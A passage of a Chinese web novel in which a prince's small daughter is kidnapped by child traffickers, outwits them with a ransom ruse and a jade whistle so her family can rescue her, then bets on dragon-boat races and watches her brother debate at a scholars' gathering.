人群来了又散,无数张面孔闪过,却无一人留意到那个小小的身影是如何消失的。
回应他们的只有茫然的摇头和四周嘈杂的叫卖声。
希望如同泼进沙堆的水,迅速消失殆尽。
恐惧和绝望彻底让程如安失去了力气:“回府!”她抓着儿子的手臂,声音嘶哑,“快!回府!找你父亲!”
马车狂奔着冲回了王府。
车刚停稳,程如安便跌跌撞撞地冲下车,萧宁珣和嬷嬷扶着她,面色同样惶急惨淡。
三人刚冲进前厅,便看到萧元珩和萧宁辰正从另一侧廊下走过来。
“元珩!元珩!”程如安一看见丈夫,强撑的力气瞬间泄去,眼泪夺眶而出,扑过去便紧紧抓住了他的手臂:“团团…团团不见了!就在街上,一转眼就不见了!”
萧宁辰闻言,脸上的笑意瞬间冻结。
“什么?!”刚从后院走来的萧宁远恰好听到这句,如遭雷击,猛地冲过来,“妹妹不见了?!在哪儿丢地?什么时候的事?!”
萧宁珣“扑通”一声跪倒在地,声音哽咽颤抖:“父亲,大哥,二哥!都怪我…是我没看好妹妹,刚才翰墨斋门前,我们…我们帮了一个书生,一转头,妹妹便不见了。”
“你!”萧宁辰瞬间暴怒,额角青筋暴起,一把揪住萧宁珣的衣襟将他提了起来,“你怎么看的她!那么大个人连个孩子都看不住!妹妹要是有个三长两短,我……”
“够了!”萧元珩一声沉喝,瞬间压住了所有的混乱。
他扶住几近瘫软的妻子,目光锐利地扫过所有人。
战场上淬炼出来的临危不乱使他如今成了家中最冷静的人。
此刻,找到女儿是他唯一的目标。
“远儿,停下,别转了。”他先镇住了在屋里急的团团转的长子,目光落在次子身上,“辰儿,松手。现在不是追究的时候。”
萧宁辰胸膛剧烈起伏,狠狠地瞪了一眼面色灰败的萧宁珣,松开了手。
萧宁珣转身就往外冲:“我再去找!”
“站住!”萧元珩喝止了他。
萧宁珣的脚步生生钉在原地,转头望向父亲,眼眶里全是眼泪,却硬生生被他憋住了。
萧元珩的声音快速而清晰:“珣儿,立刻去京兆府,找府尹李靖本人亲自报案,让他派所有能派的差役,上街寻人!”
“辰儿,你带上萧二,调集府中侍卫,全部换上便装,出府秘密搜寻,不要声张,京兆府在明,你们暗中配合。”
“重点查南街书市周边所有巷道、店铺,询问每一个摊贩,可曾见过可疑之人或车辆!”
“我即刻进宫,面见陛下,**此事,请旨即刻封锁京城所有出入口,严加盘查,一只苍蝇也不能放出去!”
最后,他扶住浑身发抖的程如安,声音异常温柔:“安儿,你坐镇府中,哪里都不要去。”
“万一歹人的目的是王府或是求财,或许会送信上门,家中要有人主事,我会尽快回来。”
他又看了一眼在场的每个人:“所有人听着,此事严格保密,绝不能让老夫人的院里听到半点风声!”
“老夫人年事已高,受不住此等惊吓,谁敢泄露,军法处置!”
“是!”所有人领命而去。
萧元珩最后看了一眼妻子苍白的脸,握了握
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她的手,转身大步向外走去。
胆敢动我萧元珩的女儿,便是掘地三尺,我也要将这群宵小**万段!
团团是被硬生生硌醒的。
身子底下硬邦邦的,她费力地睁开双眼,小脑袋晕乎乎的,嘴里还残留着一丝古怪的腥甜味道。
难怪这么硌,谁把我放在地上了?
娘亲,三哥哥呢?她开口想喊,却因为嗓子干涩,声音异常微弱。
刚想抬手,却发觉手脚都被粗糙的麻绳紧紧捆住,动弹不了。
她转动着小脑袋,艰难地四下张望。
这是哪里啊,这么暗。
咦,脖子上怎么空空的,哦,我的长命锁呢,腰上的荷包和绣囊呢,手腕上三哥哥给的那串琉璃珠子怎么也不见了?
窗户上都被钉上了木板,只漏进几缕微弱的光线,照亮了空气中飞舞的点点灰尘。
她闭了会儿眼睛,再睁开时已适应了光线,这才发现,原来这里不止自己一人。
不远处还歪歪扭扭地躺着四五个同自己年纪相仿的小姑娘,同样被捆得结结实实,都还没醒。
坏啦,落在坏蛋手里啦。
这些应该就是话本里画的,那些专门抓小孩的拍花子吧。
爹爹他们肯定急**吧。
必须赶紧逃!可是,手脚都被捆住了,绣囊也没了,这可怎么办呢?
“喂!醒醒啊!快醒醒!”团团使劲耸动着小身子,用力去撞离自己最近的一个小女孩,低声呼唤。
“知不知道这是哪儿啊?怎么出去啊!”
终于,那小姑娘醒了。
她先是茫然地眨了眨眼,感受到身上的束缚后,立刻放声大哭:“娘!娘!爹爹!你们在哪儿啊!我好怕啊!”
团团无语了,喊醒你是为了逃跑,不是让你哭啊!
尖细的哭声在空旷的屋中显得格外刺耳。
门外传来“咔哒”的开锁声。
木门“哐当”一声被粗暴地推开,一个满脸横肉的高大汉子闯了进来,凶神恶煞地冲着大哭的小姑娘厉声吼叫。
“嚎什么丧!给老子闭嘴!”
小姑娘被他吓得猛地噎住,不敢再哭,只剩下肩膀还在一下下地抽动,发出断断续续的呜咽,小脸憋得通红。
高大汉子恶狠狠地扫视了一圈屋里其他几个被自己惊醒、吓得瑟瑟发抖的孩子,骂骂咧咧地退了出去,重新锁上了门。
第92章 至少要三千两
萧元珩从宫中匆匆赶回王府,带回了皇帝已下旨封锁九门、严禁出入的消息。
“安儿,你放心,一只鸟也飞不出京城。”萧元珩握住妻子冰凉的手,声音沉稳:“团团一定还在城里,迟早能找到。”
程如安靠在他肩头,焦心如焚:“也不知团团现在,冷不冷,有没有饭吃,是不是受伤了……”说着眼泪便又落了下来。
萧元珩听得心中酸软:“会的,你放心,只要他们有所图,便不会轻易伤害团团。”
时间一点一点流逝,每一刻都是煎熬。
派出去的人一波一波回来复命,却都没有带来任何好消息。
与此同时,南城一片鱼龙混杂、巷道如蛛网般密布的贫民区深处,一间破旧的瓦房内。
三个面相精悍、衣着却普通的男子围着一张小桌正在吃东西,三个大汉,桌上却只有一摞烧饼和一只酒壶。
“妈的,这城门怎么封得跟铁桶似的!这都一天了,屁消息也没有!”
一个脾气火爆的矮壮中年汉子猛地捶了下桌子,酒壶震得直晃,“上头催命一样,这批‘细货’要是送不出去,咱们都得吃不了兜着走!”
旁边的高大汉子压低了声音:“大哥,不是我们不想送。是根本出不去啊!”
“如今倒好,咱们都快没饭吃了,还守着这么多张嘴,每天光吃饭就得多少银子!”
他们的动静很大,惊醒了角落里一个昏睡的小姑娘,迷迷糊糊地喊:“娘,我好冷啊,救救我,娘!”
高大汉子看了她一眼:“大哥,这丫头发烧了,得给她找个大夫瞧瞧,要是不赶紧治,怕是要死在这里了,岂不更麻烦!”
另一个汉子身材瘦高:“请大夫?你疯了?又要花钱?再说了,大夫一来,不全露馅儿了!”
高大汉子反驳:“还要送到大夏呢,路上这么远,她**也就罢了,若是没死,不给她治好了,带个病秧子怎么上路?”
中年汉子沉默地喝了口酒,眉头紧锁。
这些女娃各个样貌出众,能卖一大笔钱,**哪个都是一笔不小的损失。
角落里的团团安安静静,一直竖着小耳朵,仔细听着他们的对话。
爹爹和哥哥们,肯定都在找我,怎么能给他们送个信儿就好了。
大夏?听着好熟悉啊。
他们快没饭吃了?啊!他们缺钱!
“叔叔!你们是不是没钱花了呀?”团团清脆的童音在沉闷的房间里显得格外突兀。
几个男人同时一愣,目光齐刷刷向她扫来。
团团故意得意扬扬:“我家里可有钱啦!我可是家里唯一的女娃娃,是所有人的眼珠子!可宝贝啦!”
“你们干嘛不去找我娘亲要呢?她肯定会给你们好多银子的!”
赶紧去要啊,这样爹爹就能找到我了。
中年汉子嗤笑一声:“小丫头片子,吹什么牛!”
“我才没有呢!”团团扭了扭小身子:“不信?你看我身上的小裙子,就值不少钱呢!”
“我的项圈、手上的珠子,可惜都没了,那可都很值多钱的!”
高大汉子眼神一亮,迅速站起,拿出一个小包袱放在地上,打开翻找,里面都是从几个小姑娘身上搜刮的首饰挂件。
团团伸着脖子也往包袱里看:“喏,那个项圈,手串,荷包和绣囊,都是我的!”
高大汉子看着中年汉子:“大哥,这小妮子身上的东西,确实不凡,她说的还真未必是假话。”
“反正现在咱们也出不去,拿着这些东西又不敢出去卖,干等着还赔钱,不如,捞上一笔?神不知鬼不觉,就咱三知道,还不用上交。”
中年汉子的眼睛里顿时冒出了一丝贪婪的精光。
他紧盯着团团,沉声问:“小娃娃,那你说说,怎么找你家里要钱?”
团团心中一喜,脸上却装得更乖了:“那个绣囊,是我娘亲亲手给我做的,不是外面买来的哦!家里人都认得,你们拿着它去我家不就行啦!”
高大汉子拿起绣囊:“这个?”
团团猛点头:“对啊,就是这个!”
高大汉子打开一看,皱了皱眉:“挺好的绣囊,怎么装的全是乱七八糟的破烂!”
团团哼了一声:“因为我喜欢捡破烂啊!所以娘亲才缝了这个给我,让我把捡来的
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东西放里面嘛。”
几个汉子嗤笑了一声:“真是人傻钱多!”
瘦高个比较谨慎:“大哥,咱们把这几个女娃娃想办法弄出去就是了,何必节外生枝?”
高大汉子马上就不乐意了:“你说得轻巧!现在城门全封了,谁知道几时才能出去?难道让咱们不吃不喝,养着这几个丫头片子?”
“你若是胆小不敢干,那我们弄来了钱,你可别要!”
瘦高个沉默了。
中年汉子犹豫了片刻:“你家在哪儿?家里做什么的?”
团团想了想,不能让他们去正门,人太多会吓跑的:“我怎么知道家里是做什么的?反正我家很有钱啦!我家就在中央大街的最里头,门口有一颗大枣树!”
高大汉子迫不及待了:“大哥,小孩子说不清楚,要不,我去探探路?要真是大户人家,咱们要个几百两,估计人家都不当回事儿。”
“不行!不行!”团团使劲摇头,”几百两太少啦!至少要几千两才行!”
三个大汉哈哈大笑,再无怀疑。
中年汉子看向瘦高个:“你做事谨慎,你去。”
“按她说的,找到大门,把这绣囊给她家人看一眼,要……一千两银票。”
团团小脸一板:“你们好小气啊!至少要三千两!”
几个人笑着互相对视,中年汉子道:“好!就三千两!让他们把银票放在门口树底下用石头压好,然后紧闭大门,不许留人。”
“你别等在那儿,远远看着就行。”
“见他们确实没人看着,拿到钱,立刻回来!机灵点!”
瘦高个拿起绣囊,揣进怀里,重重点头:“大哥放心!”
半晌后,王府后门的下人看见那个眼熟至极的小绣囊,一路狂奔至前厅。
萧宁远猛地站了起来:“来了!”
萧宁珣咬牙切齿,妹妹是自己给丢的,无论如何也要亲手把她带回家来!
程如安一听女儿不是走失,而是确实落入了歹人的手中,几乎就要晕厥过去。
萧元珩一把扶住了她,眼中寒光暴涨:“安儿,来了才好,来了才能找得到团团。”
第93章 鸟呢?
他立刻下令,准备好三千两银子的银票,按照对方所说,放到后门大树下,用石头押住,然后退回府中,紧闭大门。
萧元珩亲自带着萧宁珣和两名最精锐的王府侍卫,悄无声息地跃上屋顶,潜身伏在临近的屋脊阴影之后,目光死死盯住了门口的大树。
等了足有一个多时辰,一个黑影才鬼鬼祟祟地出现,迅速摸到树下,取出银票揣入怀中,随即便消失在街巷中。
“跟上!”萧元珩低喝一声,几个人如同幽灵,悄无声息地追了上去。
瘦高个极其狡猾,在热闹的街巷中反复绕圈,最后竟钻进了一家不起眼的小客栈。
萧宁珣心急如焚:“父亲,我去把他抓了,严刑拷打,不信问不出团团的下落。”
萧元珩摇了摇头:“万一他就是不招或者招得晚了呢?”
“这贼子单独出来,老巢内必有同伙,若他未及时返回,定会惊动他们,倘若转移到别处,那就更难了。别急,等他出来。”
约莫一个时辰后,瘦高个溜了出来,却已换了另一身衣裳,脸上还多了些杂乱的胡须,连走路的姿态都微微佝偻起来,与之前判若两人。
“好精明的贼子!”萧宁珣暗自心惊,父亲说得对,幸亏方才自己没有轻举妄动。
改头换面的瘦高个又在街巷中绕了几圈,最终一头扎进了那片迷宫般的贫民窟里。
这里的屋棚低矮密集,巷道狭窄如缝,瘦高个低头猫腰,三拐两拐,便不见了踪影。
萧元珩几人伏在外围一处较高的残破墙头上,望着眼前这片黑压压、如同巨大蚁穴般连绵成片的屋顶,眉头紧锁。
“父亲,这片地方太大了,房屋全都挤在一起,根本不知道他进的是哪一间啊!”萧宁珣焦急的低语,“贸然搜索,必定打草惊蛇!”
“他们既能选在这里安身,必有脱身之法!如若混入拥挤的人群,或者狗急跳墙伤了妹妹……”
萧元珩面色阴沉如水。
这几个**贼竟然比他想象的更加狡猾。
巢穴虽已找到,但只是确定了大致的范围,无法找到准确的位置。
叫上京兆府的人,将此地抄了简单,但如何能找到女儿,保她万无一失,却成了眼下最棘手的难题。
而此刻,那间隐蔽的破屋内,瘦高个正得意地将银票拍在桌上。
“大哥,得手了!三千两银票!兄弟们,这次咱们可是发了笔横财!这小丫头的家里当真富有,二话没说就给了!”
三人看着那张巨额的银票,眼中都冒出了贪婪的光,狂喜之情溢于言表。
中年汉子问道:“没人跟着吧?”
瘦高个微微一笑:“放心吧,大哥,你看我这样子,他们就算跟上,最后也不可能找得到这里!”
高大汉子浑不在意:“别想那么多了大哥,就算有人跟过来,这里错综复杂,四通八达,根本就不可能找得到咱们的位置。”
他笑得嘴巴都合不上了:“嘿嘿,大哥,这趟咱们虽然不顺,但有了这笔横财,值了!”
角落里,团团小眉头皱得紧紧的,爹爹和哥哥们到底有没有跟着银子来呢。
他们为什么说,跟着也找不到位置呢……
团团从没来过这里,完全不知道外面是什么样子。
位置,位置,我的位置!怎么才能让别人知道我的位置呢?
玉骨哨!汪叔叔的人听到哨声会来!
她眼睛一亮,随即又开始发愁,玉骨哨在荷包里,可荷包在他们手里,拿不到啊。
就算拿得到,手脚都动不了,也没法吹啊!
突然,她看见了扔在自己身边的半个又干又硬的馒头。
眼珠一转,有了!
她伸出被绑着的小脚,嫌弃地踢了踢馒头,扬起小脸,理直气壮地抱怨:
“我不要吃这个!我要吃肉肉!我家里都给你们那么多银子了,你们快去给我买肉吃!”
高大汉子听见肉也馋了,咽了口口水:“大哥……”
中年汉子脸一板:“不行!这时候去兑银票,找抓吗?出了城再说!”
瘦高个嗤笑一声:“小丫头片子,有的吃就不错了!我们哥儿几个都啃干粮,你还想吃肉?忍忍吧!”
团团却不依不饶,小嘴撅得能挂住油瓶,蹬踹着被绑住的小腿开始耍赖:“不行!我就要
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吃肉!“
“你们拿了我家的钱,就要给我买肉吃!”
她像是突然想起了什么:“对了!我的小荷包呢?那里面有个白玉做的小哨子,是我平时用来叫我的鸟鸟们的!”
“我养了好多大鸟呢,可听话了!我一吹哨子,他们就都会飞过来找我吃饭饭啦!“
“你们把哨子给我,我把鸟鸟们叫来,让它们去叼肉回来,不就都有肉吃了吗?”
几个人听了,先是一愣,随即爆发出更大的哄笑声。
“听见没?这小傻子还想叫鸟给她叼肉吃!”
“哈哈哈,大户人家的小姐就是不一样,养鸟都养出花儿了!”
“大哥,我看她就是个缺心眼的,帮咱们要她家里的钱,现在还想着叫她的鸟叼肉过来!真是傻透了!”
中年汉子摇了摇头,彻底将团团当成了一个被宠坏了、蠢得没边了的富家小姐。
高大汉子突然停了笑声:“大哥!咱们可以把她的鸟叫来,抓住烤了不就行了!”
瘦高个接口:“这倒是个好主意。大哥你想,一个小丫头能养什么鸟?估计也就是鸽子一类哄孩子玩的东西,鸽子要是养肥了,那肉可不少!”
中年汉子想了想,有理,便点了点头。
高大汉子迫不及待地翻出了团团的荷包,果然从里面掏出了一个温润洁白的小玉哨子。
“啧啧,这有钱人家就是不一样,玩鸟的东西都这么精致!这哨子看样子都能卖不少钱了。”
说完,走到门口,用力地吹了一下。
哨声异常响亮尖利,吓了几人一跳:“难怪能叫来鸟,声音这么尖!”
高大汉子回头看向团团:“这样行吗?”
团团摇了摇头:“才一声怎么够!再多吹几次,它们才听得到嘛!”
“也是。”高大汉子又连续吹了四五下。
团团开心地点了点头:“行啦!一会儿我的鸟儿们就会飞来啦!”努力伸着脖子向大门的方向使劲张望。
汪叔叔的人呢?听见了吗?能找到我吗?
中年汉子和瘦高个不约而同地走到了门口,同高大汉子一起望向远处的天空,鸟呢?
第94章 他们欺负我
他们却不知道,就在哨声响起的片刻之后,两道如同鬼魅般的身影,便悄无声息地出现在了高低错落的屋顶之上!
他们动作极快,精准地循着哨声传来的方向,飞奔而来!
一直伏在屋顶,心急如焚的萧元珩,听到那独特哨音的瞬间,瞳孔猛地一缩!
这是……汪明瑞送给团团的玉骨哨!
待看到屋顶处飞奔的两人后,他率先朝着那几道飞奔的身影方向疾冲而去。
同时低吼一声:“在那边!跟上!”
萧宁珣和侍卫们精神大振,紧随其后。
有了那两个被哨声引来的神秘高手带路,他们瞬间锁定了目标:一间看似与周围无异、窗户上却钉着木板的低矮瓦房!
两群人如同天神降临般落在屋前,几乎是瞬间便将门口的三个大汉擒住了。
萧元珩大步跨进屋内,一眼就看到了角落里那个小小的身影,心都像是被人狠狠攥成了一团。
他一个箭步冲过去,手中长剑一挥,精准地挑断了她手脚上的绳索,一把将女儿抱起,紧紧地搂在了怀里。
“爹爹!”团团搂着他的脖子,“你来得好慢啊!”
“都怪爹爹!没能快一点找到你!伤到没有?”萧元珩的大手在闺女的小胳膊小腿上不停捋着。
那两个神秘高手捡起掉在地上的玉骨哨,看向团团。
团团连忙喊:“那是我的!”
两人将哨子递到她的手里,冲着萧元珩行了个礼,转身离去。
“团团!”萧宁珣狠狠地踢了几脚外面的几个大汉,也冲了过来,眼泪再也忍不住了:“你怎么样?都怪我,呜呜,都怪我没有看好你。”
团团眨着大眼睛:“三哥哥别哭!我很好啊!你别哭嘛!”
萧宁珣抹了一把眼泪:“不过,最还是你聪明,要不是那哨声,我们根本找不到你。”
萧元珩检查了一遍,确定女儿确实没有受伤,这才放下心来:“吓坏了吧?”
“嗯嗯!”团团把小脑袋埋进爹爹的颈窝里,开始告状,“他们好凶,对着我吼,给我吃硬馒头,还绑着我的手手,看,都红了……”
被侍卫们按在地上的几个大汉直到此刻才恍然大悟,他们这群**湖,竟然被一个几岁大的小娃娃给骗得团团转!
萧元珩紧紧抱着失而复得的女儿,感受着她小小的身体传来的温度,心里的焦灼、恐惧,愤怒终于找到了宣泄的地方。
他冰冷的目光扫过地上犹如死狗般蜷缩着的三个大汉,如同看着一群**。
“联系京兆府,将这几个小姑娘送回家中,把你二哥叫回来。”
“将他们带走,本王要问出他们的同党,一个都不能放过!”
团团这时才从爹爹怀里抬起小脸,指着那个包袱:“爹爹,我的东西。”
萧宁珣立刻上前,把妹妹的绣囊,项圈,手串还有荷包悉数取回,塞进怀里:“都拿了,放心吧。走!团团,咱们回家。”
众人登上马车直奔王府。
马车尚未停稳,一道明黄色的身影正站在门口,竟然是皇帝萧杰昀!
他在宫中等待着消息,实在心焦,干脆直接来了宁王府。
正撞上回来的马车。
车帘一掀,萧元珩抱着女儿走了下来,团团一眼就看到萧杰昀那张隐含怒气的脸庞。
“皇伯父!”小团子带着哭腔,委屈巴巴地喊了一声,伸出小胳膊就要抱。
萧杰昀连忙上前,从萧元珩怀里接过她,上上下下仔细打量了一番:“没事就好,没事就好!可把皇伯父吓坏了!”
随即脸色一沉,帝王威仪瞬间笼罩周身,对萧元珩厉声道:“给朕严查!彻查!”
“天子脚下,竟有如此猖獗之徒,胆敢掳走朕的郡主!无论是谁,揪出全部党羽,严惩不贷!”
“臣遵旨!”萧元珩躬身领命,眼中寒光凛冽。
萧杰昀又安抚了团团几句,嘱咐她好生歇着,这才起驾回宫。
萧宁珣抱起团团走进了大门。
“团团!”程如安第一个冲上来,将女儿接过来,紧紧搂在怀里,眼泪如同断了线的珠子,扑簌簌地往下掉,浑身都在发抖,却一句话也说不出来。
只是反复摩挲着女儿的后背,仿佛在确认她的存在。
萧宁远和萧宁辰也红着眼圈围了上来。
“妹妹!你可算回来了!爹爹都快把整个京城翻过来了!”萧宁远想摸摸妹妹的头,手伸到一半又生怕她哪里有伤,再碰疼了她,只好攥成拳头,狠狠砸在自己掌心。
萧宁辰单膝跪在妹妹面前,仰着头,声音哽咽,满是愧疚和后怕:“团团,是二哥不好,二哥空有一身武艺,却没能保护好你。你打二哥骂二哥都行……”
被娘亲和哥哥们团团围住,团团心里的委屈和后怕也涌了上来,小嘴一扁,金豆子就开始往下掉。
小脑袋扎在程如安的怀里,抽抽噎噎地说:“娘亲,我好想你哦!他们欺负我,抢走了我的东西,还不给我吃好的……”
她每说一句,听到的人心就跟着揪紧一分,心疼得无以复加。
萧宁珣恨恨地道:“这些人真
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是胆大包天!千刀万剐了他们都不为过!”
团团抬起泪汪汪的小脸,看向大家:“那几个坏蛋,说要把我送到‘大夏’去!还说那边有人等着要!”
“大夏?”萧元珩脸色一沉,与妻子对视了一眼,均在对方眼中看到了震惊与凝重。
大夏为何要费尽心机从京城掳走女童?
“萧二!”萧元珩高声喊道
“那三个活口,你亲自给本王好好审!撬开他们的嘴,问清楚,究竟受何人指使,还有多少同党!”
“是!王爷!”萧二眼中闪过厉色,转身大步离去。
一番折腾,团团终于回到了熟悉的静兰苑中。
刘嬷嬷早已备好了热水和干净的衣物。
程如安亲自把她抱进飘满花瓣的浴桶里,给她沐浴。
当看到团团手腕脚踝上那一道道被粗糙的麻绳磨出的红肿淤痕时,她的眼泪又落了下来。
洗去一身污秽,换上柔软的寝衣,团团坐在桌前,对着满桌子她平日最爱吃的点心菜肴,狼吞虎咽,吃得腮帮子鼓鼓,显然是饿坏了。
萧元珩,程如安和几个哥哥都围在一旁,目不转睛地看着她吃,时不时给她擦擦嘴,递递水,目光贪婪地注视着她,仿佛怎么看都看不够。
团团吃饱喝足,困意上涌,脑袋刚一沾枕头,便睡了过去。
程如安坐在床边,轻轻拍着女儿,看着她恬静的睡颜,回想起这一日的惊心动魄,仍是心有余悸,忍不住又掉下泪来。
萧元珩伸手将她揽入怀中,低声安慰:“好了,安儿,团团不是平安回来了吗?虚惊一场,万幸,万幸。”
他目光落在熟睡的女儿脸上,唇角勾起,一脸骄傲:“再说了,咱们团团,比咱们想象的还要聪慧勇敢。”
“若非她急中生智,送出绣囊,又骗**吹响玉骨哨,我们要找到她,还真要大费周章。这孩子,有勇有谋,不愧是我萧元珩的女儿。”
程如安靠在丈夫怀里,听着他沉稳的心跳,看着床上安然入睡的小团子,一颗惶惶不安的心,才渐渐落到了实处。
次日,长公主听闻此事后,厚赏了无数珍玩给团团压惊,其他的府邸也纷纷送来了各种药材补品。
又过了几日,陆清嘉来了。
人还没进来,小话梅已经扑哧哧地飞了进来。
“小话梅!快下来啊!”团团开心的伸手去够它,小话梅在她的头顶盘旋了两圈后,乖乖地落在了她的肩头。
“小盟主,你好些了没有?今日东湖那边有赛龙舟,想不想去看看?”
第95章 算了吧,你还来?
“赛龙舟?”团团眼睛亮了:“好玩吗?”
“好玩啊!但咱们不下水,就是在岸上看个热闹。”
“娘亲!我想去!我都在家里待了好几天啦!让我去嘛!好不好?”团团马上跑到程如安身边,拉着她的手撒娇。
程如安一听见热闹两个字就头疼,有心不让女儿去,可也不能总这么一直关着她啊。
陆清嘉看着团团,小盟主真可怜,赶紧帮腔:“请王妃放心,叫上萧兄,我们一起去,一定看好了她。”
程如安犹豫半天,还是答应了,安排了几个侍卫跟着,临走时千叮咛万嘱咐:“人多的地方一定要小心啊!”
三人一起来到了东湖,萧宁珣死死的拉着妹妹的手,半刻都不敢松开。
“萧宁珣!陆清嘉!”团团抬头一看,是自己的学生,吴启林,旁边还站着一个不认识的少年。
“哥,这就是我跟你说的小夫子!”吴启林对那少年道。
“他就是你的哥哥啊!”团团想起来了,大哥哥说过,吴启林的哥哥和他是同窗。
吴启木低头看了眼她,这么小么:”小夫子,你好,我叫吴启木。”
团团小手往身后一背,拿出了在国子监时做夫子的模样,一本正经地点了点头:“嗯,乖。”
吴启木脚下一滑,险些没站稳。
萧宁珣笑了:“你们也来看赛龙舟?”
吴启林嘴最快:“可不止我们呢,今日连云崖先生都来了,在那边开清谈会呢。”
“清谈会是什么啊,三哥哥?”团团仰起小脑袋问。
萧宁珣不欲带着妹妹往人太多的地方去:“没什么意思,咱们随便逛逛就行了。”
几人漫步到湖边,只见湖面之上,旌旗招展,数条龙舟正准备出发,两岸聚满了围观的人群。
还有一个桌案正在下注,案边站着一个青衣人,大声喊着:“来来来,买定离手!众位看官,看中哪条龙舟能赢,试试手气喽!”
团团拉着哥哥的手,挤到了桌前:“你们在做什么啊?”
青衣人看了几人一眼,衣饰华美,估计是哪个大户人家的公子小姐,赶忙招呼:“小姑娘,这场龙舟赛马上就要开始了,你瞧,他们船头都插着不同颜色的旗子。”
“你若是看准了哪条船能赢,可以拿个几钱银子放在我这里,倘若你料得对,那条船真的赢了,你这几钱银子,可就有可能变成几十两呢!”
“真的吗?”团团睁大了眼睛,一脸的不可思议。
“自然是真的,这里这么多人,我若蒙骗你,跑的了吗?”
团团看了看湖面的龙舟,拉了拉哥哥的手:“三哥哥,那支黄色旗子的船能赢,咱们买吧。”
萧宁珣自是不会拒绝妹妹,马上掏出了二两银子放在了桌上:“我妹妹买那支黄色旗子的龙舟赢。”
“好嘞!我给你们记上。”
陆清嘉和吴启林兄弟两人也分别挑了两条其他的龙舟下了注。
比赛开始,数条龙舟如离弦之箭,破开碧波,向终点冲去。
周围鼓声、号子声、围观众人的呐喊声震耳欲聋,端的是热闹非凡。
萧宁珣将团团抱得高高的,让她能看得更清楚。
团团看得目不转睛,小拳头跟着鼓点紧紧握着,激动得小脸通红。
陆清嘉和吴启林兄弟俩更是挤到了人群的前头,为自己看好的龙舟大声助威。
很快,龙舟们便到达了终点。
果然,团团买的插黄色旗的龙舟拿了头筹,陆清嘉和吴启林兄弟俩买的都输了。
青衣人算了会儿账:“小姑娘,好眼光啊!给!你的二两银子现在已经变成十二两啦!”
“哇!这么多啊!”团团拍着小手兴奋地大叫:“我还要玩!”
第二场,团团又赢了二十两。
第三场……陆清嘉和吴启林兄弟俩干脆自己不选了,都跟着她一起下注。
连赢六场!
“哇!小夫子了,你真是神了!”吴启林兄弟俩目瞪口呆。
陆清嘉也啧啧称奇:“小盟主,你太厉害啦!”
几人兴奋不已,还要继续。
青衣人愁眉苦脸:“几位小爷,别说我这只是为了赛龙舟临时搭的台子,便是街上的赌坊,也搁不住几位这样赢的。”
“请各位高抬贵手,别处转转去行吗?”
团团问:“三哥哥,咱们赢了很多吗?”
萧宁珣数了数:“嗯,都赢了一百多两了。”
团团问其他人:“你们呢?”
陆清嘉:“我赢了八十两。”
吴启林哥俩:“我们赢了九十两。”
萧宁珣哄她:“确实不少啦,咱们也别总在这里,前面还有好多吃的玩的呢,往前走走吧,要是喜欢,一会儿再转回来。”
团团依依不舍地对青衣人道:“我一会儿再回来啊!”
青衣人心想,算了吧,你还来?连连摆手:“别,我的小姑奶奶,您还是忘了小人吧,快请快请。”
几人继续向前,路边有个老匠人正在吹糖人,摊子上插了各种糖吹出来的,惟妙惟肖的鸟兽。
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>团团叹了口气:“可惜小话梅留在家里了,要不,可以让老爷爷照着小话梅的样子给我吹一个。”
萧宁珣蹲下来,指着那些糖做的鸟兽:“团团喜欢哪个?哥哥给你买。”
团团一指那个最大的糖猫:“我要这个!这个像我的大猫咪!”
萧宁珣刚要付钱,另几个不干了,争先恐后地挤上前:“我来我来!”
“三哥放着让我来!”
几个小少爷竟然为了谁给团团买糖画争执了起来。
最后还是萧宁珣默默付了钱,将糖猫递给妹妹,无奈地看了那几个活宝一眼。
团团举着快有她一半大的糖猫,舔得开开心心的,全然不知自己已经引发了一场小小“争端”。
说笑间,一行人信步来到湖畔一处开阔地。
只见一座简易的木台立在前方,台下**了不少文人学子,人数虽多,气氛却不似别处喧闹。
台上,一位身着素色宽袍、须发皆白却精神矍铄的老者正闭目端坐,气度沉静。
台边高悬挂一副布帘,上书“清谈台”三字。
正是当世大儒云崖先生所设的清谈会,不论出身,皆可登台阐述己见,或与同道辩难论理。
萧宁珣抱着妹妹,本想在外围静静聆听,不料一个略带尖刻的声音自身后响起:
“这不是那位,见了生人便说不出话的‘小哑巴’吗?”
众人齐齐回头,只见几个衣着华贵的学子簇拥着一个满脸轻蔑之色的绿衣少年走了过来。
他看着萧宁珣,嗤笑道:“似你这等才疏学浅的闷葫芦,也敢来云崖先生的清谈会?”
“清谈清谈,谈的便是口才,你话都不会说,来这儿干嘛?走错地方啦!”
他身后的几人闻言一起哄笑起来。
团团的眼睛顿时瞪了起来,吴启林脸色一沉,吴启木皱了皱眉,陆清嘉刚想反驳,萧宁珣抱着妹妹的手臂微微紧了紧,
直视着他,开了口。
声音清晰而平稳:“阁下以声之高低论学识深浅,以言之多寡断胸中之沟壑,与以貌取人何异?”
“云崖先生设此清谈台,乃为求真知,而非逞口舌之快。若阁下登台,所欲言者,莫非仅此而已么?”
周围人听了,都纷纷侧目,面露惊讶。
绿衣少年僵在原地,一脸难以置信。
连台上的云崖先生都缓缓睁开了眼睛,目光落在了这个抱着个小娃娃,面容清俊的少年身上。
他朗声道:“这位小公子所言不错,请两位上台一叙。”
第96章 崔老头的师傅?
萧宁珣将怀中的团团小心的交给一旁紧张不已的陆清嘉,又对一脸担忧的吴启林兄弟俩微微点头示意无事,这才整理了一下衣袍,步履沉稳地登上了清谈台。
绿衣少年冷哼一声,也随后登了上去,对着云崖先生便是深深一揖:“云崖先生,学生赵琦,请先生不吝赐教。”
云崖先生点了点头,看向萧宁珣:“小公子方才台下所言,颇具慧心。方才众学子们正在讨论‘经世济民’四字,不知你有何见解?”
萧宁珣拱手行礼:“学生萧宁珣,见过云崖先生。”
“学生浅见:经世济民,途径非止一端。士人治国,农人耕田,工匠制器,商人通有无,缺一不可。”
“哼!荒谬!”赵琦立刻高声打断,“士农工商,商为末流!锱铢必较,唯利是图,何谈济民?不过是与民争利罢了!此乃圣人之训,千古不易之理!”
台下不少学子闻言纷纷点头附和。
萧宁珣语气更沉稳了些:“商自古居于末流不假。但阁下可知,若无商人南粮北调,北地饥荒何以缓解?若无工匠改良织机,百姓何以有更廉价的衣物御寒?”
“‘争利’之前,更有‘利生’与‘便民’。家兄经营商行,每每运粮至灾地,平抑米价,活人无数,此非济民?京都繁华,百物丰盈,百姓生活便利,其中岂无商贾流通之功?”
赵琦面露轻蔑:“小惠而已!终究难登大雅之堂!治国平天下,靠的是圣贤书,是礼义教化!”
